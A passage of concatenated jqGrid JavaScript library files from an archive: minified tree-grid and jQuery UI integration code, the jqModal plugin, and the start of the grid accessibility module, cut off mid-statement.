tree-minus"),this.p.treeANode=l.rowIndex,this.p.datatype=this.p.treedatatype,"nested"===this.p.treeGridModel?N(this).jqGrid("setGridParam",{postData:{nodeid:s,n_left:o[d],n_right:o[a],n_level:o[i]}}):N(this).jqGrid("setGridParam",{postData:{nodeid:s,parentid:o[r],n_level:o[i]}}),N(this).trigger("reloadGrid"),o[t]=!0,"nested"===this.p.treeGridModel?N(this).jqGrid("setGridParam",{postData:{nodeid:"",n_left:"",n_right:"",n_level:""}}):N(this).jqGrid("setGridParam",{postData:{nodeid:"",parentid:"",n_level:""}})),N(this).triggerHandler("jqGridAfterExpandTreeGridNode",[s,o]),N.jgrid.isFunction(this.p.afterExpandTreeGridNode))&&this.p.afterExpandTreeGridNode.call(this,s,o)))})},collapseNode:function(d){return this.each(function(){var e,r,t,i;this.grid&&this.p.treeGrid&&(e=this.p.treeReader.expanded_field,d[e])&&(r=N.jgrid.getAccessor(d,this.p.localReader.id),t=N("#"+this.p.idPrefix+N.jgrid.jqID(r),this.grid.bDiv)[0],(i=void 0===(i=N(this).triggerHandler("jqGridBeforeCollapseTreeGridNode",[r,d]))?!0:i)&&N.jgrid.isFunction(this.p.beforeCollapseTreeGridNode)&&(i=this.p.beforeCollapseTreeGridNode.call(this,r,d)),(d[e]=!1)!==i)&&(N("div.treeclick",t).removeClass(this.p.treeIcons.minus+" tree-minus").addClass(this.p.treeIcons.plus+" tree-plus"),N(this).triggerHandler("jqGridAfterCollapseTreeGridNode",[r,d]),N.jgrid.isFunction(this.p.afterCollapseTreeGridNode))&&this.p.afterCollapseTreeGridNode.call(this,r,d)})},SortTree:function(o,h,f,c){return this.each(function(){if(this.grid&&this.p.treeGrid){var e,r,t,i,d,a=[],s=this,l=N(this).jqGrid("getRootNodes",s.p.search),l=N.jgrid.from.call(this,l);for(Boolean(s.p.sortTreeByNodeType)&&(d=s.p.sortTreeNodeOrder&&"desc"===s.p.sortTreeNodeOrder.toLowerCase()?"d":"a",l.orderBy(s.p.treeReader.leaf_field,d,f,c)),l.orderBy(o,h,f,c),e=0,r=(i=l.select()).length;e<r;e++)t=i[e],a.push(t),N(this).jqGrid("collectChildrenSortTree",a,t,o,h,f,c);var n=N(this).jqGrid("getDataIDs"),p=1;N.each(a,function(e){var r=N.jgrid.getAccessor(this,s.p.localReader.id);-1!==N.inArray(r,n)&&(N("#"+N.jgrid.jqID(s.p.id)+" tbody tr").eq(p).after(N("#"+N.jgrid.jqID(s.p.id)+" tbody tr#"+N.jgrid.jqID(r))),p++)}),i=l=null}})},searchTree:function(t){var i,d,a,s,l,n,p,o=t.length||0,h=[],f=[],c=[];return this.each(function(){if(this.grid&&this.p.treeGrid&&o)for(i=this.p.localReader.id,p=0;p<o;p++){var e;if(h=N(this).jqGrid("getNodeAncestors",t[p],!0,!0),Boolean(this.p.FullTreeSearchResult)?(e=N(this).jqGrid("getFullTreeNode",t[p],!0),h=h.concat(e)):h.push(t[p]),d=h[0][i],-1!==N.inArray(d,f))for(l=0,a=h.length;l<a;l++){var r=!1;for(n=0,s=c.length;n<s;n++)if(h[l][i]===c[n][i]){r=!0;break}r||c.push(h[l])}else f.push(d),c=c.concat(h)}}),c},collectChildrenSortTree:function(a,s,l,n,p,o){return this.each(function(){if(this.grid&&this.p.treeGrid){var e,r,t,i,d=N(this).jqGrid("getNodeChildren",s,this.p.search),d=N.jgrid.from.call(this,d);for(d.orderBy(l,n,p,o),e=0,r=(i=d.select()).length;e<r;e++)t=i[e],a.push(t),N(this).jqGrid("collectChildrenSortTree",a,t,l,n,p,o)}})},setTreeRow:function(e,r){var t=!1;return this.each(function(){this.grid&&this.p.treeGrid&&(t=N(this).jqGrid("setRowData",e,r))}),t},delTreeNode:function(c,g){return this.each(function(){var e,r,t,i,d=this,a=d.p.localReader.id,s=d.p.treeReader.left_field,l=d.p.treeReader.right_field;if(d.grid&&d.p.treeGrid){c=N.jgrid.stripPref(d.p.idPrefix,c);var n=d.p._index[c];if(g&&(r=N(this).jqGrid("getNodeParent",d.p.data[n])),void 0!==n){var p,o,h=(p=parseInt(d.p.data[n][l],10))-parseInt(d.p.data[n][s],10)+1,f=N(d).jqGrid("getFullTreeNode",d.p.data[n]);if(0<f.length)for(e=0;e<f.length;e++)N(d).jqGrid("delRowData",d.p.idPrefix+f[e][a]);if("nested"===d.p.treeGridModel){if((t=N.jgrid.from.call(d,d.p.data).greater(s,p,{stype:"integer"}).select()).length)for(i in t)t.hasOwnProperty(i)&&(t[i][s]=parseInt(t[i][s],10)-h);if((t=N.jgrid.from.call(d,d.p.data).greater(l,p,{stype:"integer"}).select()).length)for(i in t)t.hasOwnProperty(i)&&(t[i][l]=parseInt(t[i][l],10)-h)}g&&(p=this.p.treeReader.leaf_field,o=N(this).jqGrid("getNodeChildren",r),r[p]&&o.length?N(this).jqGrid("setLeaf",r,!1):n[p]||0!==o.length||N(this).jqGrid("setLeaf",r,!0))}}})},delChildren:function(h){return this.each(function(){var e,r,t=this,i=t.p.localReader.id,d=t.p.treeReader.left_field,a=t.p.treeReader.right_field;if(t.grid&&t.p.treeGrid){h=N.jgrid.stripPref(t.p.idPrefix,h);var s=t.p._index[h];if(void 0!==s){var l,n=(l=parseInt(t.p.data[s][a],10))-parseInt(t.p.data[s][d],10)+1,p=N(t).jqGrid("getFullTreeNode",t.p.data[s]);if(0<p.length)for(var o=0;o<p.length;o++)p[o][i]!==h&&N(t).jqGrid("delRowData",t.p.idPrefix+p[o][i]);if("nested"===t.p.treeGridModel){if((e=N.jgrid.from(t.p.data).greater(d,l,{stype:"integer"}).select()).length)for(r in e)e.hasOwnProperty(r)&&(e[r][d]=parseInt(e[r][d],10)-n);if((e=N.jgrid.from(t.p.data).greater(a,l,{stype:"integer"}).select()).length)for(r in e)e.hasOwnProperty(r)&&(e[r][a]=parseInt(e[r][a],10)-n)}}}})},addChildNode:function(e,r,t,i){var d=this[0];if(t){var a,s=d.p.treeReader.expanded_field,l=d.p.treeReader.leaf_field,n=d.p.treeReader.level_field,p=d.p.treeReader.parent_id_field,o=d.p.treeReader.left_field,h=d.p.treeReader.right_field,f=d.p.treeReader.loaded,c=0,g=r;if(void 0===i&&(i=!1),null==e){if(0<=(x=d.p.data.length-1))for(;0<=x;)c=Math.max(c,parseInt(d.p.data[x][d.p.localReader.id],10)),x--;e=c+1}var u,G,j=N(d).jqGrid("getInd",r),v=!1;if(null==r||""===r)g=r=null,R="last",q=d.p.tree_root_level,x=d.p.data.length+1;else{var _,R="after",I=N.jgrid.stripPref(d.p.idPrefix,r),I=d.p._index[I],q=(r=(_=d.p.data[I])[d.p.localReader.id],parseInt(_[n],10)+1),w=N(d).jqGrid("getFullTreeNode",_),x=w.length?(g=x=w[w.length-1][d.p.localReader.id],N(d).jqGrid("getInd",d.p.idPrefix+g)):N(d).jqGrid("getInd",d.p.idPrefix+r);if(_[l]&&(_[s]=v=!0,N(d.rows[j]).find("span.cell-wrapperleaf").removeClass("cell-wrapperleaf").addClass("cell-wrapper").end().find("div.tree-leaf").removeClass(d.p.treeIcons.leaf+" tree-leaf").addClass(d.p.treeIcons.minus+" tree-minus"),d.p.data[I][l]=!1,_[f]=!0),!1===x)throw"Parent item with id: "+g+" ("+r+") can't be found";x++}if(w=x+1,void 0===t[s]&&(t[s]=!1),void 0===t[f]&&(t[f]=!1),t[n]=q,void 0===t[l]&&(t[l]=!0),"adjacency"===d.p.treeGridModel&&(t[p]=r),"nested"===d.p.treeGridModel)if(null!==r){if(a=parseInt(_[h],10),(u=N.jgrid.from.call(d,d.p.data).greaterOrEquals(h,a,{stype:"integer"}).select()).length)for(G in u)u.hasOwnProperty(G)&&(u[G][o]=u[G][o]>a?parseInt(u[G][o],10)+2:u[G][o],u[G][h]=u[G][h]>=a?parseInt(u[G][h],10)+2:u[G][h]);t[o]=a,t[h]=a+1}else{if(a=parseInt(N(d).jqGrid("getCol",h,!1,"max"),10),(u=N.jgrid.from.call(d,d.p.data).greater(o,a,{stype:"integer"}).select()).length)for(G in u)u.hasOwnProperty(G)&&(u[G][o]=parseInt(u[G][o],10)+2);if((u=N.jgrid.from.call(d,d.p.data).greater(h,a,{stype:"integer"}).select()).length)for(G in u)u.hasOwnProperty(G)&&(u[G][h]=parseInt(u[G][h],10)+2);t[o]=a+1,t[h]=a+2}(null===r||N(d).jqGrid("isNodeLoaded",_)||v)&&(N(d).jqGrid("addRowData",e,t,R,d.p.idPrefix+g),N(d).jqGrid("setTreeNode",x,w)),_&&!_[s]&&i&&N(d.rows[j]).find("div.treeclick").click()}}})});minified/grid.jqueryui.js000064400000030226151677266200011506 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base","jquery-ui/dialog","jquery-ui/draggable","jquery-ui/droppable","jquery-ui/resizable","jquery-ui/sortable","./addons/ui.multiselect"],e):e(jQuery)}(function(b){"use strict";var s;b.jgrid.msie()&&8===b.jgrid.msiever()&&(b.expr[":"].hidden=function(e){return 0===e.offsetWidth||0===e.offsetHeight||"none"===e.style.display}),b.jgrid._multiselect=!1,b.ui&&b.ui.multiselect&&(b.ui.multiselect.prototype._setSelected&&(s=b.ui.multiselect.prototype._setSelected,b.ui.multiselect.prototype._setSelected=function(e,t){var i,e=s.call(this,e,t);return t&&this.selectedList&&(i=this.element,this.selectedList.find("li").each(function(){b(this).data("optionLink")&&b(this).data("optionLink").remove().appendTo(i)})),e}),b.ui.multiselect.prototype.destroy&&(b.ui.multiselect.prototype.destroy=function(){this.element.show(),this.container.remove(),(void 0===b.Widget?b.widget:b.Widget).prototype.destroy.apply(this,arguments)}),b.jgrid._multiselect=!0),b.jgrid.extend({sortableColumns:function(d){return this.each(function(){var r=this,e=b.jgrid.jqID(r.p.id),t=!1;function i(){r.p.disableClick=!0,r.p.frozenColumns&&(b(r).jqGrid("destroyFrozenColumns"),t=!0)}function s(){setTimeout(function(){r.p.disableClick=!1,t&&(b(r).jqGrid("setFrozenColumns"),t=!1)},50)}var a,o,e={tolerance:"pointer",axis:"x",scrollSensitivity:"1",items:">th:not(:has(#jqgh_"+e+"_cb,#jqgh_"+e+"_rn,#jqgh_"+e+"_subgrid),:hidden)",cancel:".sortable-disabled",placeholder:{element:function(e){return b(document.createElement(e[0].nodeName)).addClass(e[0].className+" ui-sortable-placeholder ui-state-highlight").removeClass("ui-sortable-helper")[0]},update:function(e,t){t.height(e.currentItem.innerHeight()-parseInt(e.currentItem.css("paddingTop")||0,10)-parseInt(e.currentItem.css("paddingBottom")||0,10)),t.width(e.currentItem.innerWidth()-parseInt(e.currentItem.css("paddingLeft")||0,10)-parseInt(e.currentItem.css("paddingRight")||0,10))}},update:function(e,t){var t=b(t.item).parent(),t=b(">th",t),i=r.p.colModel,s={},a=r.p.id+"_",o=(b.each(i,function(e){s[this.name]=e}),[]);t.each(function(){var e=b(">div",this).get(0).id.replace(/^jqgh_/,"").replace(a,"");s.hasOwnProperty(e)&&o.push(s[e])}),b(r).jqGrid("remapColumns",o,!0,!0),b.jgrid.isFunction(r.p.sortable.update)&&r.p.sortable.update(o)}},e=(r.p.sortable.options?b.extend(e,r.p.sortable.options):b.jgrid.isFunction(r.p.sortable)&&(r.p.sortable={update:r.p.sortable}),e.start?(a=e.start,e.start=function(e,t){i(),a.call(this,e,t)}):e.start=i,e.stop?(o=e.stop,e.stop=function(e,t){s(),o.call(this,e,t)}):e.stop=s,r.p.sortable.exclude&&(e.items+=":not("+r.p.sortable.exclude+")"),d.sortable(e)),e=e.data("sortable")||e.data("uiSortable");null!=e&&(e.data("sortable").floating=!0)})},columnChooser:function(t){var i,s,a=this,r={},o=[],e=a.jqGrid("getGridParam","colModel"),d=b.extend([],a.jqGrid("getGridParam","colNames")),n=function(e){return b.ui.multiselect.prototype&&e.data(b.ui.multiselect.prototype.widgetFullName||b.ui.multiselect.prototype.widgetName)||e.data("ui-multiselect")||e.data("multiselect")},l=b.jgrid.getRegional(this[0],"col");if(!b("#colchooser_"+b.jgrid.jqID(a[0].p.id)).length){if(i=b('<div id="colchooser_'+a[0].p.id+'" style="position:relative;overflow:hidden"><div><select multiple="multiple"></select></div></div>'),s=b("select",i),t=b.extend({width:400,height:240,classname:null,groupHeaders:!1,done:function(e){e&&a.jqGrid("remapColumns",e,!0)},msel:"multiselect",dlog:"dialog",dialog_opts:{minWidth:470,dialogClass:"ui-jqdialog"},dlog_opts:function(e){var t={};return t[e.bSubmit]=function(){e.apply_perm(),e.cleanup(!1)},t[e.bCancel]=function(){e.cleanup(!0)},b.extend(!0,{buttons:t,close:function(){e.cleanup(!0)},modal:e.modal||!1,resizable:e.resizable||!0,width:e.width+70,resize:f},e.dialog_opts||{})},apply_perm:function(){var o=[];b("option",s).each(function(){b(this).is(":selected")?a.jqGrid("showCol",e[this.value].name):a.jqGrid("hideCol",e[this.value].name)}),b("option[selected]",s).each(function(){this.selected&&o.push(parseInt(this.value,10))}),b.each(o,function(){delete r[e[parseInt(this,10)].name]}),b.each(r,function(){var e,t,i,s,a=parseInt(this,10);e=o,t=a=a,o=0<=a?(s=(i=e.slice()).splice(a,Math.max(e.length-a,a)),i[a=a>e.length?e.length:a]=t,i.concat(s)):e}),t.done&&t.done.call(a,o),a.jqGrid("setGridWidth",a[0].p.width,a[0].p.shrinkToFit)},cleanup:function(e){m(t.dlog,i,"destroy"),m(t.msel,s,"destroy"),i.remove(),e&&t.done&&t.done.call(a)},msel_opts:{dividerLocation:.5}},l,t||{}),b.ui&&b.ui.multiselect&&b.ui.multiselect.defaults){if(!b.jgrid._multiselect)return void alert("Multiselect plugin loaded after jqGrid. Please load the plugin before the jqGrid!");t.msel_opts=b.extend(b.ui.multiselect.defaults,t.msel_opts)}if(a.jqGrid("isGroupHeaderOn")&&t.groupHeaders)for(var l=a[0].p.groupHeader.length,c=a[0].p.groupHeader[l-1],u=0;u<d.length;u++){var p=b.jgrid.inColumnHeader(e[u].name,c.groupHeaders);if(0<=p){d[u]=c.groupHeaders[p].titleText+"::"+d[u];for(var h=1;h<=c.groupHeaders[p].numberOfColumns-1;h++)d[u+h]=c.groupHeaders[p].titleText+"::"+d[u+h];u=u+c.groupHeaders[p].numberOfColumns-1}}t.caption&&i.attr("title",t.caption),t.classname&&(i.addClass(t.classname),s.addClass(t.classname)),t.width&&(b(">div",i).css({width:t.width,margin:"0 auto"}),s.css("width",t.width)),t.height&&(b(">div",i).css("height",t.height),s.css("height",t.height-10)),s.empty(),b.each(e,function(e){r[this.name]=e,this.hidedlg?this.hidden||o.push(e):s.append("<option value='"+e+"' "+(this.hidden?"":"selected='selected'")+">"+b.jgrid.stripHtml(d[e])+"</option>")}),l=b.jgrid.isFunction(t.dlog_opts)?t.dlog_opts.call(a,t):t.dlog_opts,m(t.dlog,i,l),l=b.jgrid.isFunction(t.msel_opts)?t.msel_opts.call(a,t):t.msel_opts,m(t.msel,s,l);var l=b("#colchooser_"+b.jgrid.jqID(a[0].p.id)),g=b(".ui-jqgrid").css("font-size")||"11px";l.parent().css("font-size",g),l.css({margin:"auto"}),l.find(">div").css({width:"100%",height:"100%",margin:"auto"}),(g=n(s)).container.css({width:"100%",height:"100%",margin:"auto"}),g.selectedContainer.css({width:100*g.options.dividerLocation+"%",height:"100%",margin:"auto",boxSizing:"border-box"}),g.availableContainer.css({width:100-100*g.options.dividerLocation+"%",height:"100%",margin:"auto",boxSizing:"border-box"}),g.selectedList.css("height","auto"),g.availableList.css("height","auto"),l=Math.max(g.selectedList.height(),g.availableList.height()),l=Math.min(l,b(window).height()),g.selectedList.css("height",l),g.availableList.css("height",l),f()}function m(e,t){e&&("string"==typeof e?b.fn[e]&&b.fn[e].apply(t,b.makeArray(arguments).slice(2)):b.jgrid.isFunction(e)&&e.apply(t,b.makeArray(arguments).slice(2)))}function f(){var e=n(s),t=e.container.closest(".ui-dialog-content");0<t.length&&"object"==typeof t[0].style?t[0].style.width="":t.css("width",""),e.selectedList.height(Math.max(e.selectedContainer.height()-e.selectedActions.outerHeight()-1,1)),e.availableList.height(Math.max(e.availableContainer.height()-e.availableActions.outerHeight()-1,1))}},sortableRows:function(a){return this.each(function(){var s=this;s.grid&&!s.p.treeGrid&&b.fn.sortable&&((a=b.extend({cursor:"move",axis:"y",items:" > .jqgrow"},a||{})).start&&b.jgrid.isFunction(a.start)?(a._start_=a.start,delete a.start):a._start_=!1,a.update&&b.jgrid.isFunction(a.update)?(a._update_=a.update,delete a.update):a._update_=!1,a.start=function(e,t){if(b(t.item).css("border-width","0"),b("td",t.item).each(function(e){this.style.width=s.grid.cols[e].style.width}),s.p.subGrid){var i=b(t.item).attr("id");try{b(s).jqGrid("collapseSubGridRow",i)}catch(e){}}a._start_&&a._start_.apply(this,[e,t])},a.update=function(e,t){b(t.item).css("border-width",""),!0===s.p.rownumbers&&b("td.jqgrid-rownum",s.rows).each(function(e){b(this).html(e+1+(parseInt(s.p.page,10)-1)*parseInt(s.p.rowNum,10))}),a._update_&&a._update_.apply(this,[e,t])},b(s).find("tbody").first().sortable(a),b("tbody",s).first().find(" > .jqgrow").disableSelection())})},gridDnD:function(s){return this.each(function(){var e,t,o=this;if(o.grid&&!o.p.treeGrid&&b.fn.draggable&&b.fn.droppable){var h;if(void 0===b("#jqgrid_dnd")[0]&&b("body").append("<table id='jqgrid_dnd' class='ui-jqgrid-dnd'></table>"),"string"==typeof s&&"updateDnD"===s&&!0===o.p.jqgdnd)i();else if((s=b.extend({drag:function(a){return b.extend({start:function(e,t){var i,s;if(o.p.subGrid){s=b(t.helper).attr("id");try{b(o).jqGrid("collapseSubGridRow",s)}catch(e){}}for(i=0;i<b.data(o,"dnd").connectWith.length;i++)0===b(b.data(o,"dnd").connectWith[i]).jqGrid("getGridParam","reccount")&&b(b.data(o,"dnd").connectWith[i]).jqGrid("addRowData","jqg_empty_row",{});t.helper.addClass("ui-state-highlight"),b("td",t.helper).each(function(e){this.style.width=o.grid.headers[e].width+"px"}),a.onstart&&b.jgrid.isFunction(a.onstart)&&a.onstart.call(b(o),e,t)},stop:function(e,t){var i,s;for(t.helper.dropped&&!a.dragcopy&&(void 0===(s=b(t.helper).attr("id"))&&(s=b(this).attr("id")),b(o).jqGrid("delRowData",s)),i=0;i<b.data(o,"dnd").connectWith.length;i++)b(b.data(o,"dnd").connectWith[i]).jqGrid("delRowData","jqg_empty_row");a.onstop&&b.jgrid.isFunction(a.onstop)&&a.onstop.call(b(o),e,t)}},a.drag_opts||{})},drop:function(p){return b.extend({accept:function(e){if(!b(e).hasClass("jqgrow"))return e;h=b(e).closest("table.ui-jqgrid-btable");var t,e=b(this).find("table.ui-jqgrid-btable").first()[0];return 0<h.length&&void 0!==b.data(h[0],"dnd")&&(t=b.data(h[0],"dnd").connectWith,-1!==b.inArray("#"+b.jgrid.jqID(e.id),t))},drop:function(e,t){if(b(t.draggable).hasClass("jqgrow")){var i,s,a=b(t.draggable).attr("id"),o=t.draggable.parent().parent().jqGrid("getRowData",a),r=[],a=b(this).find("table.ui-jqgrid-btable").first()[0];if(b.isPlainObject(o)&&(r=Object.keys(o)),!p.dropbyname){var d,n,l={},c=0,u=b("#"+b.jgrid.jqID(a.id)).jqGrid("getGridParam","colModel");try{for(d=0;d<u.length;d++)"cb"!==(n=u[d].name)&&"rn"!==n&&"subgrid"!==n&&"sc"!==n&&(void 0!==r[c]&&(l[n]=o[r[c]]),c++);o=l}catch(e){}}t.helper.dropped=!0,b.data(h[0],"dnd").beforedrop&&b.jgrid.isFunction(b.data(h[0],"dnd").beforedrop)&&null!=(i=b.data(h[0],"dnd").beforedrop.call(a,e,t,o,b(h[0]),b(a)))&&"object"==typeof i&&(o=i),t.helper.dropped&&(p.autoid&&(s=b.jgrid.isFunction(p.autoid)?p.autoid.call(a,o):(s=Math.ceil(1e3*Math.random()),p.autoidprefix+s)),b("#"+b.jgrid.jqID(a.id)).jqGrid("addRowData",s,o,p.droppos)),p.ondrop&&b.jgrid.isFunction(p.ondrop)&&p.ondrop.call(a,e,t,o)}}},p.drop_opts||{})},onstart:null,onstop:null,beforedrop:null,ondrop:null,drop_opts:{activeClass:"ui-state-active",hoverClass:"ui-state-hover",tolerance:"intersect"},drag_opts:{revert:"invalid",helper:"clone",cursor:"move",appendTo:"#jqgrid_dnd",zIndex:5e3},dragcopy:!1,dropbyname:!1,droppos:"first",autoid:!0,autoidprefix:"dnd_"},s||{})).connectWith)for(s.connectWith=s.connectWith.split(","),s.connectWith=b.map(s.connectWith,function(e){return b.jgrid.trim(e)}),b.data(o,"dnd",s),0===o.p.reccount||o.p.jqgdnd||i(),o.p.jqgdnd=!0,e=0;e<s.connectWith.length;e++)t=s.connectWith[e],b(t).closest(".ui-jqgrid-bdiv").droppable(b.jgrid.isFunction(s.drop)?s.drop.call(b(o),s):s.drop)}function i(){var e=b.data(o,"dnd");b("tr.jqgrow:not(.ui-draggable)",o).draggable(b.jgrid.isFunction(e.drag)?e.drag.call(b(o),e):e.drag)}})},gridResize:function(o){return this.each(function(){var i,e,t,s=this,a=b.jgrid.jqID(s.p.id);s.grid&&b.fn.resizable&&((o=b.extend({},{resizeclass:"ui-resizable-icon"},o||{})).alsoResize?(o._alsoResize_=o.alsoResize,delete o.alsoResize):o._alsoResize_=!1,o.stop&&b.jgrid.isFunction(o.stop)?(o._stop_=o.stop,delete o.stop):o._stop_=!1,e=o.resizeclass,"jQueryUI"!==s.p.styleUI&&(o.handles?o.handles.se?e+=" "+o.handles.se.replace(".",""):o.handles.se="."+e:(o.handles={},t=e.split(" "),o.handles.se="."+t[0]),e+=" ui-resizable-se ui-resizable-handle",b("#gbox_"+a).append('<span class="'+e+'"></span>')),o.stop=function(e,t){b(s).jqGrid("setGridParam",{height:b("#gview_"+a+" .ui-jqgrid-bdiv").height()}),b(s).jqGrid("setGridWidth",t.size.width,o.shrinkToFit),o._stop_&&o._stop_.call(s,e,t),s.p.caption&&b("#gbox_"+a).css({height:"auto"}),s.p.frozenColumns&&(i&&clearTimeout(i),i=setTimeout(function(){i&&clearTimeout(i),b("#"+a).jqGrid("destroyFrozenColumns"),b("#"+a).jqGrid("setFrozenColumns")}))},o._alsoResize_?o.alsoResize="#gview_"+a+" .ui-jqgrid-bdiv,"+o._alsoResize_:o.alsoResize=b(".ui-jqgrid-bdiv","#gview_"+a),delete o._alsoResize_,b("#gbox_"+a).resizable(o))})}})});jqModal.js000064400000007007151677266200006511 0ustar00/* * jqModal - Minimalist Modaling with jQuery * (http://dev.iceburg.net/jquery/jqmodal/) * * Copyright (c) 2007,2008 Brice Burgess <bhb@iceburg.net> * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * $Version: 07/06/2008 +r13 */ /*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } } (function( $ ) { "use strict"; //module begin $.fn.jqm=function(o){ var p={ overlay: 50, closeoverlay : true, overlayClass: 'jqmOverlay', closeClass: 'jqmClose', trigger: '.jqModal', ajax: F, ajaxText: '', target: F, modal: F, toTop: F, onShow: F, onHide: F, onLoad: F }; return this.each(function(){if(this._jqm){ return H[this._jqm].c=$.extend({},H[this._jqm].c,o);} s++;this._jqm=s; H[s]={c:$.extend(p,$.jqm.params,o),a:F,w:$(this).addClass('jqmID'+s),s:s}; if(p.trigger){$(this).jqmAddTrigger(p.trigger);} });}; $.fn.jqmAddClose=function(e){return hs(this,e,'jqmHide');}; $.fn.jqmAddTrigger=function(e){return hs(this,e,'jqmShow');}; $.fn.jqmShow=function(t){return this.each(function(){$.jqm.open(this._jqm,t);});}; $.fn.jqmHide=function(t){return this.each(function(){$.jqm.close(this._jqm,t);});}; $.jqm = { hash:{}, open:function(s,t){var h=H[s],c=h.c,cc='.'+c.closeClass,z=(parseInt(h.w.css('z-index')));z=(z>0)?z:3000;var o=$('<div></div>').css({height:'100%',width:'100%',position:'fixed',left:0,top:0,'z-index':z-1,opacity:c.overlay/100});if(h.a){return F;} h.t=t;h.a=true;h.w.css('z-index',z); if(c.modal) {if(!A[0]){setTimeout(function(){ new L('bind');},1); }A.push(s);} else if(c.overlay > 0) {if(c.closeoverlay) {h.w.jqmAddClose(o);}} else {o=F;} h.o=(o)?o.addClass(c.overlayClass).prependTo('body'):F; if(c.ajax) {var r=c.target||h.w,u=c.ajax;r=(typeof r === 'string')?$(r,h.w):$(r);u=(u.substr(0,1) === '@')?$(t).attr(u.substring(1)):u; r.html(c.ajaxText).load(u,function(){if(c.onLoad){c.onLoad.call(this,h);}if(cc){h.w.jqmAddClose($(cc,h.w));}e(h);});} else if(cc){h.w.jqmAddClose($(cc,h.w));} if(c.toTop&&h.o){h.w.before('<span id="jqmP'+h.w[0]._jqm+'"></span>').insertAfter(h.o);} (c.onShow)?c.onShow(h):h.w.show();e(h);return F; }, close:function(s){var h=H[s];if(!h.a){return F;}h.a=F; if(A[0]){A.pop();if(!A[0]){new L('unbind');}} if(h.c.toTop&&h.o){$('#jqmP'+h.w[0]._jqm).after(h.w).remove();} if(h.c.onHide){h.c.onHide(h);}else{h.w.hide();if(h.o){h.o.remove();}} return F; }, params:{}}; var s=0,H=$.jqm.hash,A=[],F=false, e=function(h){ if(h.c.focusField===undefined) {h.c.focusField = 0;}if(h.c.focusField >=0 ) {f(h);} }, f=function(h){try{$(':input:visible',h.w)[parseInt(h.c.focusField,10)].focus(); }catch(_){}}, L=function(t){$(document)[t]("keypress",m)[t]("keydown",m)[t]("mousedown",m);}, m=function(e){var h=H[A[A.length-1]],r=(!$(e.target).parents('.jqmID'+h.s)[0]);if(r){$('.jqmID'+h.s).each(function(){var $self=$(this),offset=$self.offset();if(offset.top<=e.pageY && e.pageY<=offset.top+$self.height() && offset.left<=e.pageX && e.pageX<=offset.left+$self.width() ){r=false;return false;}});/*f(h);*/}return !r;}, hs=function(w,t,c){return w.each(function(){var s=this._jqm;$(t).each(function() { if(!this[c]){this[c]=[];$(this).click(function(){for(var i in {jqmShow:1,jqmHide:1}){for(var s in this[i]){if(H[this[i][s]]){H[this[i][s]].w[i](this);}}}return F;});} this[c].push(s);});});}; //module end }));grid.aria.js000064400000062211151677266200006760 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.extend($.jgrid,{ focusableElementsList : [ '>a[href]', '>button:not([disabled])', '>area[href]', '>input:not([disabled])', '>select:not([disabled])', '>textarea:not([disabled])', '>iframe', '>object', '>embed', '>*[tabindex]', '>*[contenteditable]' ] }); $.jgrid.extend({ ariaBodyGrid : function ( p ) { var o = $.extend({ onEnterCell : null, onKeyCheck : null, customCellAction : null }, p || {}); return this.each(function (){ var $t = this, getstyle = $.jgrid.getMethod("getStyleUI"), highlight = getstyle($t.p.styleUI+'.common','highlight', true); // basic functions function isValidCell(row, col) { return ( !isNaN(row) && !isNaN(col) && row >= 0 && col >= 0 && $t.rows.length && row < $t.rows.length && col < $t.p.colModel.length ); } function getNextCell( dirX, dirY) { var row = $t.p.iRow + dirY; // set the default one when initialize grid var col = $t.p.iCol + dirX; // set the default ................. var rowCount = $t.rows.length; var isLeftRight = dirX !== 0; if (!rowCount) { return false; } var colCount = $t.p.colModel.length; if (isLeftRight) { if (col < 0 && row >= 2) { col = colCount - 1; row--; } if (col >= colCount) { col = 0; row++; } } if (!isLeftRight) { if (row < 1) { col--; row = rowCount - 1; if ($t.rows[row] && col >= 0 && !$t.rows[row].cells[col]) { // Sometimes the bottom row is not completely filled in. In this case, // jump to the next filled in cell. row--; } } else if (row >= rowCount || !$t.rows[row].cells[col]) { row = 1; col++; } } if (isValidCell(row, col)) { return { row: row, col: col }; } else if (isValidCell($t.p.iRow, $t.p.iCol)) { return { row: $t.p.iRow, col: $t.p.iCol }; } else { return false; } } function getNextVisibleCell(dirX, dirY) { var nextCell = getNextCell( dirX, dirY); if (!nextCell) { return false; } while ( $($t.rows[nextCell.row].cells[nextCell.col]).is(":hidden") ) { $t.p.iRow = nextCell.row; $t.p.iCol = nextCell.col; nextCell = getNextCell(dirX, dirY); if ($t.p.iRow === nextCell.row && $t.p.iCol === nextCell.col) { // There are no more cells to try if getNextCell returns the current cell return false; } } if( dirY !== 0 ) { $($t).jqGrid('setSelection', $t.rows[nextCell.row].id, false, null, false); } return nextCell; } function movePage ( dir ) { var curpage = $t.p.page, last =$t.p.lastpage; curpage = curpage + dir; if( curpage <= 0) { curpage = 1; } if( curpage > last ) { curpage = last; } if( $t.p.page === curpage ) { return; } $t.p.page = curpage; $t.grid.populate(); } var focusableElementsSelector = $.jgrid.focusableElementsList.join(); /* function hasFocusableChild( el) { return $(focusableElementsSelector, el)[0]; } * */ $($t).removeAttr("tabindex"); $($t).on('jqGridAfterGridComplete.setAriaGrid', function( e ) { //var grid = e.target; $("tbody", $t).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+focusableElementsSelector+"))").attr("tabindex", -1); $("tbody", $t).first().find(">tr:not(.jqgfirstrow)").removeAttr("tabindex"); if($t.p.iRow !== undefined && $t.p.iCol !== undefined) { if($t.rows[$t.p.iRow]) { $($t.rows[$t.p.iRow].cells[$t.p.iCol]) .attr('tabindex', 0) .focus( function() { $(this).addClass(highlight);}) .blur( function () { $(this).removeClass(highlight);}); } } }); $t.p.iRow = 1; $t.p.iCol = $.jgrid.getFirstVisibleCol( $t ); var focusRow=0, focusCol=0; // set the dafualt one var custAct = $.jgrid.isFunction( o.customCellAction ) ? o.customCellAction : false; var onKeyCheck = 